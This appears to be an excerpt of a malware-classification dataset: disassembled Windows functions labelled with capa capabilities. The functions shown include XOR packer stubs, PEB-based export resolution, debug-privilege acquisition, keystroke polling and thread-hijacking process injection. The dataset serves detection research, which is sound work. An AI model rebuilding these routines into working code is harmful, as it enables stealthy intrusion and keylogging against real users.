joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..3ean
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
je 0x431072
nop
nop
nop
nop
nop
mov ebx, 0x40915c
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x35726767
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..7LWLf
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x557a5600
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x321375f2
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x42f314
mov ecx, 0x629b1692
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x403288
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x4041fc
sub eax, eax
test esi, esi
je 0x403360
sub eax, 1
test ecx, ecx
je 0x40335e
test esi, 3
je 0x4032c6
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x4032ab
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x403345
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x4032d0
mov ecx, edx
test ecx, ecx
je 0x40335e
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40334b
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40894e
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
sub ecx, ecx
call fcn.0040896e
xor dword [esi], edx
or eax, ecx
mov ecx, ecx
inc esi
cmp esi, ebx
jne fcn.0040894e
add eax, 0xb1ba4586
sub eax, eax
ret
Function at 0x443e50
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
adc al, 1
add byte [eax], al
push esi
push edi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x114]
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x114]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.smart_image_storage_D87635852F1B
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
lea edx, [ebp - 8]
mov esi, eax
push edx
push edi
mov dword [ebp - 0x10], 8
mov dword [ebp - 0xc], 4
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test esi, esi
mov edi, eax
je 0x443f02
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
test edi, edi
mov dword [ebp - 0xc], 0
je 0x443ee1
mov edx, dword [0x4b8da4]
lea ecx, [ebp - 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x443f02
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, 0x68
jmp 0x443f05
mov esi, dword [ebp + 0x10]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, 0x41
xor eax, eax
mov edi, 0x4b8b04
rep stosd dword es:[edi], eax
jmp 0x51d7af

Function at 0x479fd5
Capabilities:
Encode data using xor

Disassembly:
fidivr dword [esi]
sbb al, 0x3d
mov dl, byte [eax - 0x12]
or dword [ecx + 0x4c], ebx
xchg byte [edi + eax], dl
ror bl, cl
sub byte [eax - 0x6e], 0x18
mov edi, 0x1dd601e2
inc eax
mov esp, 0x45df02ca
lcall 0xd00c, 0x7b064d02
cld
cli
inc esi
out 0x3b, eax
adc al, 0x34
xor byte [ebx + ebx*8], bl
cmp al, 0x9d
mov eax, 0xb43e722c
fucomp st(3)
jge 0x479ffc
cmp bh, byte [eax + 0x38]
test dword [eax], esi
retf 0x4c64
Function at 0x4dde14
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, eax
mov eax, ebx
call fcn.00484424
xor edx, edx
push ebp
push 0x4dde86
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebx + 0x70]
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 4]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 8]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0xc]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x10]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x14]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x1c]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov eax, dword [eax + 0x20]
mov byte [eax + 0x30], dl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4dde90
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x84], 0
call fcn.0040195d
mov esi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov eax, esi
or al, 0x40
push eax
lea eax, [0x404469]
lea edx, [fcn.004019c8]
sub eax, edx
push eax
push fcn.004019c8
call sub.KERNEL32.dll_VirtualProtect
cmp dword [ebp - 4], 0
je 0x40133e
push esi
call fcn.0040183b
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.0040188a
mov eax, esi
add eax, 0x1d600
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
mov edi, dword [ebp - 0x88]
mov eax, esi
mov ecx, edi
or cl, 1
cdq
idiv ecx
mov ebx, eax
add ebx, edi
push ebx
lea edi, [0x4060e4]
lea ecx, [0x4060e4]
mov ebx, esi
shl ebx, cl
add edi, ebx
push edi
call fcn.004019c8
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40195d
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x118], 0
xor edi, edi
push 0
push 0
call sub.USER32.DLL_GetWindow
mov dword [ebp - 0x114], 0xa
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x10e]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringA
movsx edi, byte [ebp - 0x10e]
sub edi, 0x41
mov eax, edi
pop edi
leave
ret
Function at 0xbff71110
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0xc
push ebx
push ebp
push edi
call fcn.bff710b0
test eax, eax
jne 0xbff71126
pop edi
pop ebp
pop ebx
add esp, 0xc
ret
mov ebp, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
xor ebx, ebx
push eax
push ecx
lea edx, [esp + 0x18]
push ebx
push edx
push ebx
push ebp
push ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], ebx
mov dword [edi], ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0xbff7116b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0xbff7116b
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x10]
push esi
push eax
call fcn.bff733da
mov ecx, dword [esp + 0x14]
mov dword [edi], eax
lea edx, [ecx + ecx]
push edx
call fcn.bff733da
mov esi, eax
mov eax, dword [edi]
add esp, 8
test eax, eax
je 0xbff711b0
test esi, esi
je 0xbff711c1
lea ecx, [esp + 0x18]
lea edx, [esp + 0x10]
push ecx
push edx
lea ecx, [esp + 0x1c]
push esi
push ecx
push eax
push ebp
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov ebx, eax
test esi, esi
je 0xbff711bd
push esi
call fcn.bff733cf
add esp, 4
test ebx, ebx
jne 0xbff711d0
mov edi, dword [edi]
test edi, edi
je 0xbff711d0
push edi
call fcn.bff733cf
add esp, 4
pop esi
pop edi
mov eax, ebx
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0xbff71620
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
push ebx
mov dword [esp + 0x10], 0xffffffff
call ebp
cmp eax, 0xffffffff
je 0xbff71651
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop ebp
mov eax, ecx
pop ebx
pop ecx
ret
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
mov edi, ecx
add edi, ebx
cmp ebx, edi
jae 0xbff716ac
push 0x20
push eax
call fcn.bff734a0
mov esi, eax
add esp, 8
test esi, esi
je 0xbff7167c
mov byte [esi], 0
push ebx
call ebp
cmp eax, 0xffffffff
jne 0xbff7169c
test esi, esi
je 0xbff716ac
lea eax, [esi + 1]
mov byte [esi], 0x20
cmp eax, edi
jb 0xbff71668
mov eax, dword [esp + 0x10]
pop esi
pop edi
pop ebp
pop ebx
pop ecx
ret
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
pop esi
pop edi
pop ebp
pop ebx
pop ecx
ret
Function at 0xbff79ad0
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub esp, 0x758
push ebx
push esi
mov esi, dword [esp + 0x768]
push edi
push esi
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ecx, 0xb3
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], GetEnvironmentStringsW
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0xbff79cc7
mov edx, dword [esp + 0xdc]
mov esi, dword [esp + 0x774]
lea eax, [esp + 0x2e4]
lea ebx, [edx - 0x480]
and ebx, 0xffffffe0
test esi, esi
je 0xbff79bab
mov ecx, dword [esp + 0x778]
lea edi, [esp + 0x364]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebx + 5]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx + 0x80]
mov byte [esp + 0x2e4], 0x68
test eax, eax
mov dword [esp + 0x2e5], ecx
jne 0xbff79b89
lea eax, [esp + 0x2e9]
mov ecx, dword [esp + 0x770]
mov byte [esp + 0x2e9], pe_nt_image_headers32
sub ecx, eax
lea eax, [esp + 0x2ee]
sub ecx, 5
mov dword [esp + 0x2ea], ecx
mov ecx, dword [esp + 0xc8]
mov byte [eax], 0xb8
mov dword [eax + 1], ecx
mov ecx, dword [esp + 0xbc]
add eax, 5
mov byte [eax], 0xbb
inc eax
mov dword [eax], ecx
mov ecx, dword [esp + 0xc4]
add eax, 4
mov byte [eax], 0xb9
inc eax
mov dword [eax], ecx
mov ecx, dword [esp + 0xc0]
add eax, 4
mov byte [eax], 0xba
inc eax
mov dword [eax], ecx
mov ecx, dword [esp + 0xb8]
add eax, 4
mov byte [eax], 0xbe
inc eax
mov dword [eax], ecx
mov ecx, dword [esp + 0xb4]
add eax, 4
mov byte [eax], 0xbf
inc eax
mov dword [eax], ecx
mov ecx, dword [esp + 0xcc]
add eax, 4
mov byte [eax], 0xbd
inc eax
mov dword [eax], ecx
add eax, 4
mov byte [eax], 0xbc
inc eax
lea ecx, [eax + 4]
mov dword [eax], edx
mov eax, ecx
lea edx, [esp + 0x2e4]
sub eax, edx
add eax, ebx
jne 0xbff79c35
mov eax, ecx
mov edx, dword [esp + 0xd0]
mov esi, dword [esp + 0x768]
sub edx, eax
mov byte [ecx], 0xe9
sub edx, 5
lea eax, [ebx - 4]
mov dword [ecx + 1], edx
lea ecx, [esp + 0x14]
push ecx
push 0x40
push 0x480
push ebx
push esi
mov dword [esp + 0xf0], eax
mov dword [esp + 0xe4], ebx
call fcn.bff7a750
add esp, 0x14
test eax, eax
je 0xbff79cc7
lea edx, [esp + 0x10]
lea eax, [esp + 0x2e4]
push edx
push 0x480
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0xbff79cc7
push 0x480
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
je 0xbff79cc7
mov edx, dword [esp + 0x76c]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0xbff79cc7
mov dword [esp + 0xc], 1
mov eax, dword [esp + 0x76c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
add esp, 0x758
ret
Function at 0xbff79cf0
Capabilities:
Acquire debug privileges

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x100
test eax, eax
push ebx
push ebp
push esi
je 0xbff79d9d
mov ebp, dword [esp + 0x114]
test ebp, ebp
je 0xbff79d9d
mov ebx, dword [esp + 0x118]
test ebx, ebx
je 0xbff79d9d
push str.LoadLibraryA
call fcn.bff79e80
mov esi, eax
add esp, 4
test esi, esi
je 0xbff79d9d
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
push 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.bff73560
mov eax, dword [0xbff8ac5c]
add esp, 0xc
test eax, eax
pop edi
jne 0xbff79d77
push str.SeDebugPrivilege
call fcn.bff72830
add esp, 4
mov dword [0xbff8ac5c], eax
mov edx, dword [esp + 0x110]
lea ecx, [esp + 0xc]
push 0x100
push ecx
push esi
push ebp
push edx
call fcn.bff79ad0
add esp, 0x14
pop esi
pop ebp
pop ebx
add esp, 0x100
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x100
ret

Function at 0xbff79ed0
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp eax, esi
jne 0xbff79ee7
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0x1c]
mov eax, dword [edx]
xor edx, edx
mov edi, dword [eax + 8]
mov ecx, dword [edi + 0x3c]
mov eax, dword [ecx + edi + 0x78]
mov ecx, dword [eax + edi + 0x1c]
add eax, edi
add ecx, edi
mov dword [ebp - 0x14], ecx
mov ebx, dword [eax + 0x18]
mov ecx, dword [eax + 0x20]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
cmp ebx, esi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], eax
jbe 0xbff79f96
mov dword [ebp - 4], ecx
mov eax, dword [ecx]
mov esi, dword [ebp + 8]
add eax, edi
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0xbff79f5f
test cl, cl
je 0xbff79f5b
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0xbff79f5f
add eax, 2
add esi, 2
test cl, cl
jne 0xbff79f3b
xor eax, eax
jmp 0xbff79f64
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0xbff79f85
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
inc edx
add ecx, 4
cmp edx, eax
mov dword [ebp - 4], ecx
jb 0xbff79f34
mov esi, dword [ebp - 0xc]
pop edi
mov eax, esi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov ax, word [ecx + edx*2]
mov edx, dword [ebp - 0x14]
mov esi, dword [edx + eax*4]
add esi, edi
pop edi
mov eax, esi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10016647
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b3df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x7c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x28]
test eax, eax
je 0x100166b3
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x24], eax
push 0x4adf
push 0x55f9
push 0x6803
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 1
call fcn.10016827
add esp, 0x20
jmp 0x10016816
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x40], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [eax]
test eax, eax
je 0x10016716
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
push dword [ebp - 0x50]
mov ecx, dword [ebp - 0x54]
call fcn.10018791
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x10016816
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x20], 0x4c59
mov dword [ebp - 0x6c], str.dbs_hqhfpevc_muizyfdu_nkjrsrpy_ija_ndvaxya_dpbnipk_ktzgkra_kwzsvsmie_hghqy
cmp dword [ebp - 0x20], 0x4e0e
jle 0x100167ca
and dword [ebp - 0x1c], 0
jmp 0x1001674a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x2f8a
jge 0x100167ca
and dword [ebp - 0x14], 0
jmp 0x10016760
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3f32
jge 0x100167c5
and dword [ebp - 0x18], 0
jmp 0x10016776
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x7dd5
jge 0x100167c3
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sar eax, cl
or eax, dword [ebp - 0x1c]
cdq
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], edx
push dword [ebp - 0x70]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x8c]
call fcn.10003aad
pop ecx
pop ecx
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
call fcn.10001a10
push eax
call fcn.100445e8
pop ecx
lea ecx, [ebp - 0x8c]
call fcn.10001a06
jmp 0x1001676f
jmp 0x10016759
jmp 0x10016743
mov eax, dword [ebp - 0x68]
movzx eax, byte [eax]
test eax, eax
je 0x100167da
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x4a05
jge 0x100167f0
push dword [ebp - 0x6c]
call fcn.100445e8
pop ecx
jmp 0x1001680c
or dword [ebp - 4], 0xffffffff
jmp 0x10016816
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100180b3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100180fa
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
push dword [eax]
mov eax, dword [ebp - 0xc]
push dword [eax]
push 0x7212
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push 1
call fcn.10018149
add esp, 0x18
jmp 0x10018145
lea eax, [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10018131
mov byte [ebp - 1], 0
push 1
push 0x7930
push 0x37b4
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x27e5
call fcn.1000b1cb
add esp, 0x1c
jmp 0x10018145
mov byte [ebp - 2], 0
movzx eax, byte [ebp - 2]
test eax, eax
je 0x10018145
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esp, ebp
pop ebp
ret
Function at 0x100222e8
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b74f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], 0x2501
mov dword [ebp - 0x2c], str.cwujcpyqf_fjz_vclobnmr_rjksyx_avjthotb_irtoysgw
cmp dword [ebp - 0x24], 0x2864
jle 0x100223d9
and dword [ebp - 0x14], 0
jmp 0x10022332
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3e0b
jge 0x100223d3
and dword [ebp - 0x18], 0
jmp 0x1002234c
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x4ac6
jge 0x100223ce
and dword [ebp - 0x1c], 0
jmp 0x10022362
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x6e92
jge 0x100223c9
and dword [ebp - 0x20], 0
jmp 0x10022378
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x6e25
jge 0x100223c7
mov eax, dword [ebp - 0x14]
cdq
idiv dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
sar edx, cl
mov ecx, dword [ebp - 0x20]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
push dword [ebp - 0x30]
push dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
call fcn.10003aad
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
call fcn.10001a10
push eax
call fcn.100445e8
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.10001a06
jmp 0x10022371
jmp 0x1002235b
jmp 0x10022345
jmp 0x1002232b
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0x2de8
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x3fd5
push 1
push dword [ebp + 0x10]
call fcn.10022443
add esp, 0x18
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x23b5
jge 0x1002240c
push dword [ebp - 0x2c]
call fcn.100445e8
pop ecx
jmp 0x10022428
or dword [ebp - 4], 0xffffffff
jmp 0x10022432
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10023cd8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10023d3d
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10023d06
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10023d3b
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10023d3b
push 0
push 0
push 0x28a
push 0
push 0x2081
push 0
push 0
push 0x1d22
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x10023d51
push 0x61db
push 0x18c3
push 0
call fcn.1002509e
add esp, 0xc
mov esp, ebp
pop ebp
ret